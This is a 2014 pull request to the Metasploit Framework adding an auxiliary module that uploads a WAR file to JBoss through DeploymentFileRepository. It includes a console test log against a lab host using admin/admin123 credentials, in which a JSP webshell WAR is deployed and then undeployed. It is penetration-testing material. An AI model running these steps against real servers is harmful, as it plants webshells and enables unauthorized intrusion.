rapid7/metasploit-framework — pull request #4335 by us3r777 (2014-12-08 18:20:55+00:00)
Title: Upload WAR through Jboss DeploymentFileRepository

# Description
New auxiliary module to upload WAR file through JBoss DeploymentFileRepository

# Test
Tested on JBoss 5.1.0 GA :
```
2014-12-08 19:10:48 +0100 S:0 J:0> use auxiliary/admin/http/jboss_deploymentfilerepository
2014-12-08 19:11:25 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
2014-12-08 19:12:31 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > set WARFILE /home/herbulot/hsc/cvs/ti/Webshell_jsp/HSC.war
WARFILE => /home/herbulot/hsc/cvs/ti/Webshell_jsp/HSC.war
2014-12-08 19:13:43 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > set USERNAME admin
USERNAME => admin
2014-12-08 19:13:05 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > set PASSWORD admin123
PASSWORD => admin123
2014-12-08 19:13:56 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > run

[*] 192.168.56.102:8080 - Deploying stager for the WAR file...
[*] 192.168.56.102:8080 - Calling stager to deploy the payload warfile (might take some time)
[+] 192.168.56.102:8080 - Payload deployed
[*] 192.168.56.102:8080 - Undeploying stagers via DeploymentFileRepository.remove()...
[*] Auxiliary module execution completed
2014-12-08 19:14:02 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > set Action Undeploy
Action => Undeploy
2014-12-08 19:14:21 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) > run

[*] 192.168.56.102:8080 - Undeploying payload via DeploymentFileRepository.remove()...
[+] 192.168.56.102:8080 - Successfully removed
[*] Auxiliary module execution completed
2014-12-08 19:14:22 +0100 S:0 J:0 auxiliary(jboss_deploymentfilerepository) >
```